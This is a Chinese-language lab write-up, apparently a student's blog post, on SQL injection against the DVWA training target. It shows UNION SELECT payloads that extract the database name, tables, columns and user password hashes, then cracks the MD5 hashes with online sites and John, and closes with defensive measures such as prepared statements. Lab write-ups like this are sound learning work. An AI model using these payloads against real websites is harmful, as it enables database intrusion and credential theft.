一、实验环境靶场DVWA 1.9安全等级Low操作系统Kali LinuxWeb 服务Apache MySQL小皮 panel浏览器Firefox二、实验原理2.1 什么是 SQL 注入SQL 注入SQL Injection是指攻击者通过在 Web 表单或 URL 中输入恶意的 SQL 语句欺骗后端数据库执行非预期的 SQL 命令从而获取、修改或删除数据。2.2 漏洞成因后端代码直接将用户输入拼接到 SQL 语句中没有做任何过滤或转义php复制$id $_GET[id]; $sql SELECT * FROM users WHERE id $id LIMIT 0,1;攻击者输入1时SQL 变成sql复制SELECT * FROM users WHERE id 1 LIMIT 0,1 -- 多了一个单引号语法错误报错三、实验步骤3.1 确认注入点输入结果说明1正常显示 admin 用户信息正常查询1报错证明存在 SQL 注入漏洞1 #正常显示 admin 用户信息用#注释掉后面的语句修复语法关键点#是 MySQL 的注释符会把后面的 LIMIT 0,1全部注释掉。3.2 获取数据库名输入code复制1 UNION SELECT 1,database() #结果code复制First name: 1 Surname: dvwa说明database()函数返回当前数据库名dvwa。3.3 获取表名输入code复制1 UNION SELECT 1,table_name FROM information_schema.tables WHERE table_schemadatabase() #结果code复制First name: 1 Surname: users说明information_schema.tables是 MySQL 的元数据表存储了所有表名。table_schemadatabase()限定只查当前数据库的表。3.4 获取字段名输入code复制1 UNION SELECT 1,column_name FROM information_schema.columns WHERE table_nameusers #结果code复制First name: 1 Surname: user_id First name: 1 Surname: first_name First name: 1 Surname: last_name First name: 1 Surname: user First name: 1 Surname: password First name: 1 Surname: avatar First name: 1 Surname: last_login First name: 1 Surname: failed_login说明information_schema.columns存储了所有字段名。3.5 获取用户名和密码输入code复制1 UNION SELECT user,password FROM users #结果code复制First name: admin Surname: 5f4dcc3b5aa765d61d8327deb882cf99 First name: gordonb Surname: e99a18c428cb38d5f260853678922e03 First name: 1337 Surname: 8d3533d75ae2c3966d7e0d4fcc69216b First name: pablo Surname: 0d107d09f5bbe40cade3de5c71e9e9b7 First name: smithy Surname: 5f4dcc3b5aa765d61d8327deb882cf99说明密码是 MD5 哈希值需要破解才能看到明文。四、密码破解4.1 使用在线 MD5 破解网站Cmd5https://www.cmd5.com/SOMD5https://www.somd5.com/4.2 使用 Kali 工具bash复制# 创建哈希文件 echo 5f4dcc3b5aa765d61d8327deb882cf99 hashes.txt # 使用 john 破解 john --formatraw-md5 hashes.txt五、防御建议5.1 使用预编译语句Prepared Statementphp复制$stmt $pdo-prepare(SELECT * FROM users WHERE id ?); $stmt-execute([$id]);5.2 使用 ORM 框架如 Eloquent、Doctrine 等自动转义输入。5.3 输入验证和过滤对用户输入进行白名单验证如 ID 只能是数字使用mysqli_real_escape_string()转义特殊字符但不如预编译安全5.4 最小权限原则数据库账号只给最小必要权限禁止使用 root 账号连接 Web 应用六、实验总结通过本次实验我完成了一次完整的 SQL 注入攻击流程确认注入点1报错使用#注释修复语句使用database()获取数据库名使用information_schema获取表名和字段名使用UNION SELECT获取所有用户的账号和密码收获理解了 SQL 注入的原理和危害掌握了 UNION 注入的基本流程学会了使用information_schema进行信息收集下一步学习 Medium/High 难度的 SQL 注入学习 SQL 注入的防御方法在靶场中练习其他类型的注入如盲注、时间盲注作者小霖日期2026-06-29环境Kali Linux DVWA